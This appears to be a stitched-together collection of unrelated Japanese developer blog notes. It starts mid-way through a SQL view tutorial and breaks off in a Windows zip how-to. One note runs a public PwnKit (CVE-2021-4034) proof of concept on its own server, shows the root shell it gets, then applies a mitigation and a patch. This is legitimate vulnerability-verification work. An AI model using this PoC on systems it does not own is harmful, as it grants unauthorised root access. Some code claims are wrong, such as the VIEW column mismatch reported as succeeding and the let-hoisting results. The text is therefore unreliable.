        5 | 田中5        | 太郎5        | 5才
        6 | 田中6        | 太郎6        | 6才
        7 | 田中7        | 太郎7        | 7才
        8 | 田中8        | 太郎8        | 8才
        9 | 田中9        | 太郎9        | 9才
       10 | 田中10       | 太郎10       | 10才
       11 | 田中11       | 太郎11       | 11才
       12 | 田中12       | 太郎12       | 12才
       13 | 田中13       | 太郎13       | 13才
       14 | 田中14       | 太郎14       | 14才
・
・
・
       95 | 田中95       | 太郎95       | 95才
       96 | 田中96       | 太郎96       | 96才
       97 | 田中97       | 太郎97       | 97才
       98 | 田中98       | 太郎98       | 98才
       99 | 田中99       | 太郎99       | 99才
      100 | 田中100      | 太郎100      | 100才
```
# VIEWの作成
profileテーブルからVIEWの仮想テーブルを作成する。
全く同じテーブルである必要はなく、条件を絞ったりカラムを絞ったSELECT文で問題ない。

```sql
create view test_view (first_name, last_name)
as
select first_name, last_name, count(*)
from profile
group by first_name, last_name;

-- 結果 --
CREATE VIEW
```

# VIEWの確認
```sql
select * from test_view;

  first_name  |  last_name   | count
--------------+--------------+-------
 田中46       | 太郎46       |     1
 田中73       | 太郎73       |     1
 田中85       | 太郎85       |     1
 田中95       | 太郎95       |     1
 田中56       | 太郎56       |     1
 田中58       | 太郎58       |     1
 田中70       | 太郎70       |     1
 田中69       | 太郎69       |     1
 田中79       | 太郎79       |     1
・
・
・
```

RDBのレコードに順序性はないため、めちゃくちゃに登録されているが特に問題はない

```sql
from test_view;
```
ここでは内部的に

```sql
create view test_view (first_name, last_name)
as
select first_name, last_name, count(*)
from profile
group by first_name, last_name;
```

このviewが実行されている。
それが、この一行を書くだけでこれ以降は何度でも実行することができるということだ。

# VIEWの削除
```sql
DROP VIEW test_view;
```
PolKitのメモリ破損の脆弱性（CVE-2021-4034）について

2022/1/26、PolKitのメモリ破損の脆弱性（CVE-2021-4034）が発表されました。

PolKitは主要なLinuxディストリビューションおよび一部のUnixライクなオペレーティングシステムで使用されるコンポーネントのようです。

ローカルの非特権ユーザ（権限のない一般Userで悪い事を考えている人）が簡単にルート特権を奪取できてしまい悪用される可能性があります。（Redhatサイトを見る限りcvssのスコアは7.8でした。 ※1/27時点）

色々な情報が飛び交っていますが、下記のサイトが非常にわかりやすく記載されていました。

https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

・・・・・12年以上まえからってすごい話ですね。

で既に、この脆弱性を確認するためのツール（PwnKitのPoC）がGithub上にあるようなので
確認していきたいと思います。

https://github.com/arthepsy/CVE-2021-4034


## 環境
OS：CentOS 7.9
Kernel: 3.10.0-1160.53.1.el7.x86_64

## 脆弱性の検証 （自分が管理しているサーバ以外では絶対にやらないでください！！）

※確認用にuserを作成しました。
※コンパイルのためgccパッケージが必要になりますので、事前にインストールしておきましょう

```bash
useradd cve20214034  # rootユーザで作成
su - cve20214034     # 作成したユーザにスイッチ
cve20214034 $
git clone https://github.com/arthepsy/CVE-2021-4034.git
gcc CVE-2021-4034/cve-2021-4034-poc.c -o cve-2021-4034-poc
```

**いざ実行！！！**

```bash
$ ./cve-2021-4034-poc
sh-4.2#
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),1001(cve20214034)
sh-4.2#
```

**簡単にrootになれてしまった！！！！！**


ちなみに緩和策も上記サイトに記載がありましたので
試してみます。

```bash
sh-4.2# exit                  # 一般ユーザに戻ります。
cve20214034 $ exit            # rootユーザに戻ります。
chmod 0755 /usr/bin/pkexec    # pkexecのSUIDを取ります。
```
  

## 対策実施後の確認　 

```bash
su - cve20214034
cve20214034 $
cve20214034 $ ./cve-2021-4034-poc
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
cve20214034 $
```

不正に特権昇格はできてない(rootになれない)ですね。
対策はされたようです。

## その他
最近はlog4jとかcolersjs fakerjs(これは別の意図があったようですが）とか脆弱性が出ております。インフラ担当者の方もこの脆弱性は内部に悪だくみする事を考えている人がいた場合、簡単のroot権限を奪取されてしまいますので、いち早い対応が求められるかと思い記事にしました。

最後に一言。**絶対に自分が管理しているサーバ以外で上記PoCを実行しないでください。**
 


## 1/27 追記

CentOSはすでにpatch適用済みパッケージが出てました。

```bash
Updated: polkit-0.112-26.el7_9.1.x86_64

# アップデート適用後の動作確認

$ ./cve-2021-4034-poc
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page: <http://www.freedesktop.org/wiki/Software/polkit>
```

https://access.redhat.com/errata/RHSA-2022:0274

皆さん、アップデートしましょう。
企画提案書のつくりかた

# はじめに
新卒入社で熱意溢れていた頃、色んな本や記事、雑誌を読み漁っていました。
その時、メモ帳にまとめていたものを体裁整えて、Qiitaに投稿します。

# 企画提案書の構成案

**1. はじめに**
企画への熱意をアピール
**2. テーマ**
何に取り組むのか
**3. 背景**
なぜ取り組むのか？現状分析結果などから裏付を行う
**4. コンセプト**
何を目指すのか？この企画によって誰にどのような価値を、どのような形で提供するのか
**5. 実現イメージ**
どうなるのか？この企画が実現するもの、仕組み、状態とは何か
**6. 予測される効果**
何が得られるのか？定量効果と定性効果は何か
**7. コスト試算**
何が必要か？人、モノ、金の観点で。実現可能性はどうか
**8. スケジュール**
活動期間はどの程度か？スケジュールの実現可能性はどうか
**9. 終わりに**
熱意を再アピールし、承認のお願いを念押しする

# つくりかたのノウハウ

## （1）最初にはっきり結論を書く

最も重要である結論をまず書く。
課題そのものを捉えなおす作業も行うべし。
例えば「若年層顧客を取り戻す」ことが、「3年連続赤字」という問題の解決になるのかを分析する。
分析した結果、もし解決に繋がらないのでれば、課題を再設定する。

## （2）比較データは強調する側を大きく
データをグラフで出す場合は、強調したい方を大きくするなどの工夫を。
効果的に印象づけることができる。

## （3）「仮説」と書いて言い切る
相手に「できる」という意思を伝えるために、「～と思う」という表現を避けて言い切るべき。
確証が取れない場合は、「現在の仮説」と断った上で言い切る。

## （4）イエスとノーをはっきりさせる
「何をやるか」だけでなく、「何をやらないか」も書く。

## （5）具体的な解決策も簡潔な個条書きで
解決策も箇条書き3つ程度でわかりやすく書く。
だらだらと書いても相手の心には刺さらない。

## （6）相手が好みそうな言葉はあえて避ける
どのようにでも解釈できる抽象度の高い言葉は避け、できるだけ具体性を持った表現を使う。
業界的にクライアントが好みそうな表現はあえて避けることで、解決策がはっきり伝わるようにする。
流行しているだけのフレーズや、具体性のないカタカナ言葉の羅列は本質的な解決策にはつながらない。

## （7）プランは一般論より、より現実的に
問題解決のためにコラボしたい企業などの具体的な名前を盛り込んでおく。
そうすることで見た側も次のステップに進みやすく、現実的な戦略もイメージしやすくなる。

## （8）どう攻めるか明確にする
大きな目標を掲げるほど、実現は難しくなる。
どこの部門の、誰が、何を、どの順番で、いつまでにやらないといけないかを可能な限り具体的に書くことで実現へのステップを示す。
次にどう攻めるべきかが明確になっていないと議論も巻き起こらない。
楽しいTemplate Literal型

TypeScriptのTemplate Literal型つかってますか？
とても便利ですよね。

## 簡単な例

Template Literalて何ぞやという人のために簡単な例を載せます。

```typescript
type Language = 'TypeScript' | 'Python';

type HelloLanguage = `Hello ${Language}`;
// OK
const helloTypeScript: HelloLanguage = 'Hello TypeScript';
// Error
const helloGolang: HelloLanguage = 'Hello Golang';
```

このように文字列の具体的な形の型を表現することができるとても便利な機能です！！

これを使うととても便利なことができるんですが実際にこの機能を活用しているライブラリを紹介します。

## React Hook Form

React界隈ではよく使われているReact Hook Formのコードのサンプルを見てください。

```typescript
// React Hook Formの例
type User = {
  name: string;
  skill: {
    languages: {
      name: Language;
      years: number;
    }[];
  };
}
const { watch } = useForm<User>({
  defaultValues: {
    name: 'nakazato',
    skill: {
      languages: [
        {
          name: 'TypeScript',
          years: 1.5,
        },
        {
          name: 'Python',
          years: 4,
        },
      ]
    }
  }
})
// なんとLanguage型として認識されている！！
const myFavoriteLanguage = watch('skill.languages.0.name');
```

これは`Path`型というのが定義されていてwatchの引数には`Path<User>`しか受け付けなくて、`Path<User>`は`'name','skill','skill.languages','skill.languages.${number}','skill.languages.${number}.name','skill.languages.${number}.years'`として定義されているんですね。

## Path型を自作してみる

では、実際にこの`Path`型を簡略化したものをお見せします。
少し頭が痛くなると思いますが拙いなりに頑張って説明を付け足したので追ってくれたら嬉しいです。

```typescript
// 事前に簡単な型の定義をしておく
type Primitive = null | undefined | string | number | boolean | symbol | bigint;
type IsArray<T extends Array<any>> = number extends T['length'] ? false : true;

// 以下でPath型を定義するが正しく定義されていることが確認できる
const languageName:Path<User> = 'skill.languages.0.name'

// Path型を定義していく
// PathImplとPathで再起的に可能なフィールドのパスを表現
// Userの場合CurrentPath=skillならRestValuesはUser['skill']を表現するために使う
// RestValuesがプリミティブ型の場合はそれ以上パスを繋げられないのでCurrentPathを返す
// RestValuesがプリミティブ型でない場合はCurrentPathか
// CurrentPathとRestValuesのパス(Path<RestValues>)を繋げた型を返す
type PathImpl<CurrentPath extends string | number, RestValues> =
  RestValues extends Primitive
  ? `${CurrentPath}`
  : `${CurrentPath}` | `${CurrentPath}.${Path<RestValues>}`;

type Path<T> = T extends Array<infer ArrayItem>
  ? 
  // TがArrayならnumberとnumber.${配列の要素のパス}の複合型返す。
  PathImpl<number, ArrayItem>
  :
  // TがArrayでないなら全てのフィールド名と
  // フィールド名とPath<T[フィールド名]>を繋げたものの複合型を返す
  {
    [K in keyof T]: PathImpl<K & string, T[K]>;
  }[keyof T];
```

## 有名なライブラリはもっとTemplate Literalを活用してくれたら嬉しいな

フロントエンドだとこのように文字列をドットなどの記号で区切ったものでオブジェクトを操作することも割とあるように思うので(他に具体例がパッとでてこないですが)有名なライブラリはanyを極力使わずもっと取り入れてくれたら便利そうですね。
僕も機会があればプルリク出してみたいなと思いました。(型だけなので比較的敷居低そう)
【JavaScript】オブジェクトについて

## はじめに
　本記事は、プログラミング初学者が、学習を進めていて疑問に思った点について調べた結果を備忘録も兼ねてまとめたものです。
　そのため、記事の内容に誤りが含まれている可能性があります。ご容赦ください。
　間違いを見つけた方は、お手数ですが、ご指摘いただけますと幸いです。

## オブジェクトについて

### オブジェクトとは
オブジェクトとは、関連のあるデータと機能の集合のことです。
配列と同じように複数のデータをまとめて管理するのに使用されます。
配列は複数の値のみを並べて管理するのに対して、オブジェクトはそれぞれの値に対してプロパティと呼ばれる名前をつけて管理します。


```.js:配列とオブジェクトの違い
// 配列
[ 値1, 値2, 値3 ]
[ 1, 40, 58 ]
//　値のみを並べて管理

// オブジェクト
{ プロパティ1: 値1, プロパティ2: 値2 }
{ name: "田中", age: 30 }
// 値にプロパティをつけて管理
```

### オブジェクトを代入する方法

```.js:オブジェクトの代入

const example = { name: "田中", age: 30 };

console.log(example);
// { name: `田中`, age: 30 };

```

### オブジェクトの値の取り出し、更新

```.js:オブジェクトの値の取り出しと更新

// 値の取り出し
const example = { name: "田中", age: 30 };
// プロパティを指定して値を取り出すことができる。
console.log(example.name);
// 田中


// 値の更新
const example = { name: "田中", age: 30 };
// 以下のように記述することで指定したプロパティの値を更新することができる
example.name　= "佐藤"
console.log(example.name);
// 佐藤

```

### オブジェクトを配列に格納する

```.js:オブジェクトを要素に持つ配列

const examples = [
  // インデックス番号[0]
  { name: "田中", age: 30 },
  // インデックス番号[1]
  { name: "原", age: 25 }
];

console.log(examples[0]);
// { name: "田中", age: 30 }


// 以下のように記述することで指定したプロパティの値を取得することができる
console.log(examples[0].age);
// 30

```
M1 Macにphp7系の環境を整える

# 概要

新しくM1のMacを購入したのだが、前に作っていたphp7系のコードを動かそうとして苦戦したのでメモ。

## 参考資料

https://tanakano-aster.com/note/m1-mac-php72/
この人の記事を参考に、自分はphp7.4を動かすようにしました。

## やり方

下記のページのコマンドをコピーしてターミナルで実行
https://brew.sh/

```sh
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)
```

brewアップデート

```sh
brew update
```
php7.4があるか確認

```sh
brew search php
```
php7.4をインストール

```sh
brew install php@7.4
```
php7.4を紐付ける

```shell
 brew link php@7.4
```

いまのphpをunlinkするかオーバーライドしろって言われたから

```
 brew link --overwrite php@7.4
```

最後にパスを通す(必要なかったかも)

```
  echo 'export PATH="/usr/local/opt/php@7.4/bin:$PATH"' >> ~/.zshrc
  echo 'export PATH="/usr/local/opt/php@7.4/sbin:$PATH"' >> ~/.zshrc
```

以上
[JS]アロー関数を少しだけ深掘りしてみた

アウトプットとして

関数を簡略化して記述できるアロー関数、調べてみるとちょっとしたテクニックがあるみたいだったのでまとめてみました。

ちなみにいろんな関数の定義の仕方や特徴はこちらにまとめています。
[JavaScriptの関数](https://qiita.com/Shi-raCanth/items/a6c2fabcc152b05f09bc)

#アロー関数とは
functionの記述を省略し、その代わりに（）=>という記述によって関数を定義する構文です。より短い記述で関数定義をできるという点がメリット。

```javascript
// 無名関数
const 変数名 = function(){
  処理
}

// アロー関数
const 変数名 = () => {
  処理
}
```

##引数が1つの場合は丸括弧が省略できる
定義の際に`引数が1つしかない場合`は丸括弧を省略できる。
ただし、スプレッド構文`...`を使用する場合は省略できません。

```javascript
// 省略しない
var hoge = (a) => {
	処理
}

// 省略できる
var hoge = a => {
	処理
}

// スプレッド構文の場合
var hoge = (...args) => {
	処理
}
```

##return文やブロック{}を省略できる
関数内の処理が`1行として読めるコードでreturn文で値を返している場合`は、return文とブロック{}を省略することができます。

```javascript
// 省略しない
var hoge = (a, b) => {
	return a + b;
};

// 省略する
var hoge = (a, b) => a + b;
```
　　
　
以上のことを活用するともっとシンプルなコードが書けそうな気がします…！！
※補足等ありましたらコメントいただけると幸いです。
CubeIDEのGCCバージョンを無理やり上げてみる

# 目的
なるべく新しいバージョンのコンパイラを使って気持ちよくなりたい

# 注意事項
備忘録です．自分で試してできただけですので，他の環境にて正しく動作する保証は致しません．

# 環境
- Windows10 Home
- STM32CubeIDE 1.8.0
- (新しく入れたやつ)GNU Arm Embedded Toolchain 10.3-2021.10

# ダウンロード
ここからzipを落としてくる
https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-rm/downloads

# 中身を移す
`\ST\STM32CubeIDE_1.8.0\STM32CubeIDE\plugins\`に落としてきたzipの中にある `gcc-arm-none-eabi-10.3-2021.10` をコピー

# パスを通す
CubeIDEを開き，`Project`>`Properties`>`C/C++ Build`>`Environment`に行く．
PATHの中にある
`${INSTALL_PATH}\ST\STM32CubeIDE_1.8.0\STM32CubeIDE\plugins\com.st.stm32cube.ide.mcu.externaltools.gnu-tools-for-stm32.9-2020-q2-update.win32_2.0.0.202105311346\tools\bin;`
の部分を
`${INSTALL_PATH}\ST\STM32CubeIDE_1.8.0\STM32CubeIDE\plugins\gcc-arm-none-eabi-10.3-2021.10\bin;`
にする．(`${INSTALL_PATH}`はインストールしているディレクトリの絶対パス)
要は追加した方のフォルダの中にある`arm-none-eabi-g++.exe`があるディレクトリのパスを指定しているだけ．
![a.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232528/02e338cb-5dc4-39b2-29ec-36e978180909.png)

## (2022/4/5追記)
上記の`${INSTALL_PATH}\ST\STM32CubeIDE_1.8.0\STM32CubeIDE\`は`${eclipse_home}`というシンボルで定義されている．
つまりコンパイラのパスとして，`${eclipse_home}plugins\gcc-arm-none-eabi-10.3-2021.10\bin;`を指定することが可能である．
これにより，GitHubなどでプロジェクトを共有し，他環境でCubeIDEがインストールされている場所が異なる場合でもコンパイルを行うことができる(もっとも，`${eclipse_home}`以下のパスが一致している必要がある)．

# バージョンの確認
本当に新しいのが入ってるか確認したい．
定義済みマクロの`__GNUC__`などで見てみたり，コンパイルオプションに`-dumpversion`を追加してみたりして確認した．
後者はなぜかリンクするときにエラー吐いたけど，確認できたしオプション外せばちゃんとビルド通るしヨシ！
DeepLやーる（Windows 10、Python3.6）

# はじめに
DeepLやーる

# 開発環境
- Windows 10 PC
- Python3.6

# 実装
1．無料版に登録

https://www.deepl.com/ja/pro-api?cta=header-pro-api/

2．認証キーをコピーする

https://www.deepl.com/ja/pro-account/summary

3．下記プログラムを実行

~~~test.py
import requests

auth_key = "<insert your api key>"
text = "Hello, world"
target_lang = "JA"
url = f"https://api-free.deepl.com/v2/translate?auth_key={auth_key}&text={text}&target_lang={target_lang}"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
response = requests.post(url, headers=headers)
print(response.json())
~~~

4．実行結果

~~~
(py36) D:\PythonProjects\DeepL>python test.py
{'translations': [{'detected_source_language': 'EN', 'text': 'ハロー、ワールド'}]}
~~~

お疲れ様でした。
VsCodeの拡張機能「Remote-Containers」を利用してコンテナ上で「plantuml」を実行するための設定

#VsCodeの拡張機能「Remote-Containers」を利用してコンテナ上で「plantuml」を実行するための設定
業務端末で拡張機能を入れる場合、利用申請が必要になるがコンテナ上であれば申請がいらないということなので、その設定ファイルをメモとして残しておく。
動かすことを目的としているため、設定項目が理想的かどうかは要確認。

```devcontainer.json
{
  "name": "myjava",
  "dockerComposeFile": "docker-compose.yml",
  "service": "workspace",
  "workspaceFolder": "/var/sample_sandbox",
  "settings": {
    "editor.tabSize": 4
  },
  "shutdownAction": "stopCompose",
  "extensions": [
    "jebbs.plantuml",
    "vscjava.vscode-java-pack"
  ]
}
```


```docker-compose.yml
version: "3"

services:
    workspace:
        build: workspace
        command: sleep infinity
        volumes:
            - ../:/var/sample_sandbox/
        ports: 
            - 8000:8000

```


```Dockerfile
FROM openjdk

```

##フォルダ構成
```
C:.
├─.devcontainer
│      devcontainer.json
│      docker-compose.yml
└─workspace
        Dockerfile
```
Open XML SDK 2.5 for Office を業務で使用できない

そのうち、ちゃんと清書します。

C# で Open XML SDK 2.5 for Office を使用してみた結果、浮動小数誤差が発生するようで、Excelに設定した小数値が正しく取得できません。

具体的には、
Excel 0.14
OpenXML 0.14000000000000001

以下の記載の通り、仕様のようです。

https://support.microsoft.com/ja-jp/topic/office-open-xml-%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E5%BD%A2%E5%BC%8F%E5%86%85%E3%81%AE%E6%95%B0%E5%80%A4%E3%81%8C%E3%82%BB%E3%83%AB%E3%81%A8%E7%95%B0%E3%81%AA%E3%82%8B-17b557df-2aef-a971-6c73-b2d59316ac69

単純に小数点以下第Nで丸めるとかで解決する問題ではなさそうです。
RemixでEmotion(CSS in JS)を使う

## この記事の概要

以下の記事に続き、[Remix](https://remix.run/)におけるスタイリングを調査していたため記事にしました。
今回は[Emotion](https://emotion.sh/docs)を使ってみます。

https://qiita.com/xrxoxcxox/items/10c07abf585b939e1c5b

## 実験に使っていたリポジトリ

https://github.com/xrxoxcxox/qiita-remix-with-emotion

## EmotionにおけるServer Side Rendering

https://emotion.sh/docs/ssr

上記は公式ドキュメントですが、かいつまむと**条件にあわせて次のどちらかのアプローチをとる**こととなります。

- `:nth-child()`などの疑似クラスを使わない場合（Default Approach）
    - `renderToString(<App />)`をとするだけでOK
- `:nth-child()`などの疑似クラスを使う場合（Advanced Approach）
    - 通常の`@emotion/react`や`@emotion/styled`に加えて
    - `@emotion/server/create-instance`や`@emotion/cache`も用いて
    - `App`を`CacheProvider`でwrapして
    - `head`にスタイルを差し込む

Advanced Approachは箇条書きで書いても伝わりづらいと思うので、是非公式ドキュメントを一読ください。

`:nth-child()`の類は便利ですが、初めから使わないと決めていればやれないことはありません。
というわけで今回はDefault Approachを採用しました。

## 導入

[前回の記事でのstyled-componentsの実験](https://qiita.com/xrxoxcxox/items/10c07abf585b939e1c5b#styled-components)はかなり苦戦しましたし、最終的にwarningを解消できないまま……。

ところがEmotionは特に苦労することもなく使用できました。
というのも、初めから`app/entry.server.tsx`は以下のようになっていてEmotionの言う`Default Approach`がクリアされているのです。

```typescript:app/entry.server.tsx
import { renderToString } from "react-dom/server";
import { RemixServer } from "remix";
import type { EntryContext } from "remix";

export default function handleRequest(
  request: Request,
  responseStatusCode: number,
  responseHeaders: Headers,
  remixContext: EntryContext
) {
  const markup = renderToString(
    <RemixServer context={remixContext} url={request.url} />
  );

  responseHeaders.set("Content-Type", "text/html");

  return new Response("<!DOCTYPE html>" + markup, {
    status: responseStatusCode,
    headers: responseHeaders
  });
}
```

ただ、多少今まで通りにいかない箇所もあるためそれらの点について記載しておきます。

## 注意点

### jsx pragmaを省略できない

Emotionを単にインストールした状態だと、毎回ファイルの最初に`/** @jsx jsx */`と記載せねばなりません。
本来は`@emotion/babel-preset-css-prop`や`@emotion/babel-plugin`の使用によって省略できるのですが、RemixではBabel Pluginが使えないため毎回書く他無さそうです。

https://github.com/remix-run/remix/issues/717

Issueこそありますが、対応されないような気もしています……。

また、Babelの設定が変えられない都合上デフォルトでは`Fragment`の省略記法（`<></>`）も使えません。
以下のどちらかを実施する必要があります。

- `/* @jsxFrag React.Fragment */`と記載する
- `<React.Fragment>`（または`<Fragment>`）と都度記載する

### double render問題は変わらず

またも前回の記事との比較ですが、styled-componentsと比べれば全然許容できる範囲ではあるものの、スタイルが適用されるまでに一瞬レイアウトが崩れています。

| styled-compoennts | Emotion |
| --- | --- |
| ![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/214677/e5d09529-0b0b-38f1-2cd5-a9e1d17e90e2.gif) | ![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/214677/d39fc8d3-dec2-fe14-f6a5-d40625dd3bc3.gif) |

実際のプロダクトで使う場合はどうすると良いのでしょうか。
この点は私の中に知見がないため、もし良いアイデアをお持ちの方がいればコメントいただけると非常に嬉しいです！
【Django】IIS 利用時に python を all users でインストールしなかった場合の対処

#はじめに
IIS に Django をデプロイして 画面を一回もお目見えすることなく 500 エラーが出た場合、タイトルの通り python のインストール設定が原因で起きている可能性があります

先に結論を記述しますが、その場合の対処策として 2パターン 方法があります
　パターン①：python をアンインストールしてから再度、適切な設定でインストールし直す
　パターン②：適切な権限を付与して対処する (アンインストールしない)

アンインストールして再度インストールしてもいいですが、環境パスが変わるなど、すでにローカルで動かしているシステムに影響があるかないか調べるのもメンドクサイですよね…

今回は パターン② 適切な権限を付与して対処する方法を共有したいと思います

####下記の環境を想定しています
```
- Windows 10
- Python 3.9.7
- Django 3.2.10
```


#もくじ
- 原因となったインストール手順
- 権限不足時のエラー画面
- 対処方法

#原因となったインストール手順
ここで「Install Now」を押してしまっている…
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/323113/5a4c3d3b-564b-a8e3-caf9-5c30101714d4.png)
「Install Now」でインストールする場合、インストールされる場所はユーザーフォルダ配下となる
IIS にユーザーフォルダ配下の python にアクセスする権限がないためエラーとなってしまう

最初から IIS で利用する目的の場合は、「Customize installation」を選択して
「all users」にチェックを入れる必要がある (デフォルトでチェックが入っている)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/323113/30cd2b28-bbc5-a998-8f6e-2992b4d1a03a.png)
※ちなみに、Windows Server でインストールする場合は、デフォルトで False になっているので注意してください


#権限不足時のエラー
セットアップが終わり、いざ接続って時に下記のエラーが出る
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/323113/02f8c6eb-352f-a3c4-adfc-55c6dfa70a4b.png)
これだけではさすがに分からないですね…


#対処方法
python の実行ファイル (python.exe) があるフォルダに対して、IIS のユーザー権限を付与する

下記、作業順に記載
[1]　ユーザーの python 実行フォルダを開く
　　```C:\Users\*****\AppData\Local\Programs\Python\Python39```

[2]　Python39 に対して右クリック -> 「プロパティ」を選択

[3]　「セキュリティ」タブ -> 「編集」を選択

[4]　「追加」を選択後、「IIS_IUSRS」と入力し「名前の確認」を押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/323113/226566e3-2974-07ea-aba2-92178ac125a6.png)
[5]　「適用」して完了

#おわりに
python を入れ直すって記事はいくつかあったが、そのままの状態で対処する記事が見つからなかった
探し方が甘いだけかもしれませんが…
アンインストールはしたくないなぁって思いながら探している方の助力になれば幸いです
...Did you mean to set the 'moduleResolution' option to 'node', or to add aliases to the 'paths' option?と出た時の対処法

## はじめに
あまり日本語の記事があまり出てこなかったのですが、しばらく検索してみるとtsのissueを発見しました！！！

https://github.com/microsoft/TypeScript/issues/35876

## どうやって解決したのか？
tsconfig.jsonのcompilerOptionsに下記の設定を追加したらエラー解決しました。

```
"moduleResolution": "node"
```

## エラーコードをDeeplで翻訳してみると...

「moduleResolution」オプションを「node」に設定したのか、「paths」オプションにエイリアスを追加したのか
↑
とでました！普通に検索するまでもないエラーでしたね、、、
zsh-パスの書き方について（ダブルクオート）

## ダブルクオートの有無について

### 経緯
LaravelのPATHを通そうとした際に、ダブルクオーテーションで囲む書き方とそうでない書き方、何が違うのがわかりませんでした。
質問させていただいたところ、わかりやすい回答をいただいたので記しておきます。
回答いただいた皆様、ありがとうございました!
※@uasi 様の回答を参照

### ①ダブルクオート無
```
export PATH=~/.composer/vendor/bin:$PATH
```

 ~ はまずホームディレクトリを指す文字列に展開されます。
よって、

```
export PATH=/Users/ユーザー名/.composer/vendor/bin:$PATH
```

と書いたのと同じことになります。

### ②ダブルクオート有

```
export PATH="~/.composer/vendor/bin:$PATH"
```
と書くと、 ~ は展開されず、文字通り ~ という名前のディレクトリを指すことになります。この名前のディレクトリは普通存在しないのでパスは通りません。

また、 ~ の代わりにホームディレクトリを指す変数 $HOME を使うこともできます。これはダブルクォートの有無にかかわらず展開されます。

```
export PATH=$HOME/.composer/vendor/bin:$PATH
export PATH="$HOME/.composer/vendor/bin:$PATH"
```
【JavaScript】変数宣言 var / let / const の違いを理解する

# JavaScriptの変数宣言
- `var`、`let`、`const`の3つの宣言方法がある
- `var`はJavaScriptリリース当初からある宣言方法
- `let`と`const`はJavaScriptの最新標準仕様に採択されたES2015で追加された宣言方法
- 3つの違いは **再宣言の可否**、**再代入の可否**、**スコープ**、**ホイスティング** の4点

## 3つの変数宣言の違い（結論）
||var  |let  |const  |
|:---:|:---:|:---:|:---:|
|**再宣言**|○  |×  |×  |
|**再代入**|○  |○  |×  |
|**スコープ**|関数  |ブロック  |ブロック |
|**ホイスティング**|○  |undefined  |エラー |

先に結論を提示してしまうと上表の通りです。
ここからは実際にコードを書いて挙動の違いを確認していきます。

## 再宣言
**再宣言**：一度宣言した変数を再度宣言すること。

```javascript
/* var */
var sushi = 'maguro';
console.log(sushi) // => maguro
var sushi = 'ikura';
console.log(sushi) // => ikura

/* let */ 
let sushi = 'maguro';
console.log(sushi) // => maguro
let sushi = 'ikura'; // Uncaught SyntaxError: Identifier 'sushi' has already been declared

/* const */
const sushi = 'maguro';
console.log(sushi) // => maguro
const sushi = 'ikura'; // Uncaught SyntaxError: Identifier 'sushi' has already been declared
```
- `var`は再宣言が可能
- `let`と`const`は再宣言の時点でエラー

## 再代入
**再代入**：既に値が入っている変数に再度値を代入すること。

```javascript
/* var */
var sushi = 'maguro';
console.log(sushi) // => maguro
sushi = 'ikura';
console.log(sushi) // => ikura

/* let */ 
let sushi = 'maguro';
console.log(sushi) // => maguro
sushi = 'ikura';
console.log(sushi) // => ikura

/* const */
const sushi = 'maguro';
console.log(sushi) // => maguro
sushi = 'ikura'; // Uncaught TypeError: Assignment to constant variable.
```
- `var`と`let`は再代入が可能
- `const`は再代入の時点でエラー

## スコープ
**スコープ**：直訳すると `scope：範囲` のことで、「変数のスコープ」とは「変数が使用出来る範囲」のことを指す。JavaScriptのスコープには**グローバルスコープ**と**ローカルスコープ**の2種があり、ローカルスコープには**関数スコープ**と**ブロックスコープ**の2種がある。（詳細は割愛）

```javascript
/* var */
var sushi = 'maguro';
if (true) {
    console.log(sushi); // => maguro
    var sushi = 'ikura';
    console.log(sushi); // => ikura
}
console.log(sushi); // => ikura

/* let */
let sushi = 'maguro';
if (true) {
    console.log(sushi); // => maguro
    let sushi = 'ikura';
    console.log(sushi); // => ikura
}
console.log(sushi); // => maguro

/* const */
const sushi = 'maguro';
if (true) {
    console.log(sushi); // => maguro
    const sushi = 'ikura';
    console.log(sushi); // => ikura
}
console.log(sushi); // => maguro
```
- `var`は関数スコープなので、ブロック外で宣言された変数に対してブロック内で再宣言が出来てしまう。
- `let`と`const`はブロックスコープなので、ブロックの内外で変数宣言は区別される。

## ホイスティング
**ホイスティング**：コンテキスト内で宣言した変数定義をコード実行前にメモリに配置すること。巻き上げともいう。

```javascript
/* var */
sushi = 'maguro';
console.log(sushi) // => maguro
var sushi;
console.log(sushi) // => maguro

/* let */
sushi = 'maguro';
console.log(sushi) // => maguro
let sushi;
console.log(sushi) // undefined

/* const */
sushi = 'maguro';
console.log(sushi) // => maguro
const sushi; // Uncaught SyntaxError: Missing initializer in const declaration 
```
- `var`は変数宣言をする前に変数に入れた値がそのまま変数宣言時の値に引き継がれている。
- `let`は`undefined`、つまり「変数宣言はされているけど値が定義されていませんよ」の状態。
- `const`は変数宣言時に値の定義も必要なので、「値が定義されていませんよ」の状態。

# まとめ
- `var`はミスリーディングによる意図せぬ変数使用が起こり得るので使うべきではない
- 変数宣言は大人しく`const`を使おう
- 再代入が必要な場合に限り`let`を使おう

（以前の案件のソースコードは全ての変数が`var`で宣言されていたけど、良い「悪い例」だったなあ、と…。）
【Windows】ドラッグアンドドロップでZip圧縮する

ドラッグ・アンド・ドロップ (D&D) でZIP圧縮をする方法。
（ファイルを選択して右クリック→[送る]→[圧縮 (zip 形式) フォルダー]の応用です。）

## 順序

1. ドロップ先にファイルを作成する。（右クリック→[新規作成]とかで何かしらのファイルを作成する。）![1.ファイル作成](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/317837/0c2b0a73-9172-f8c9-0bae-6159b0dd8343.png)
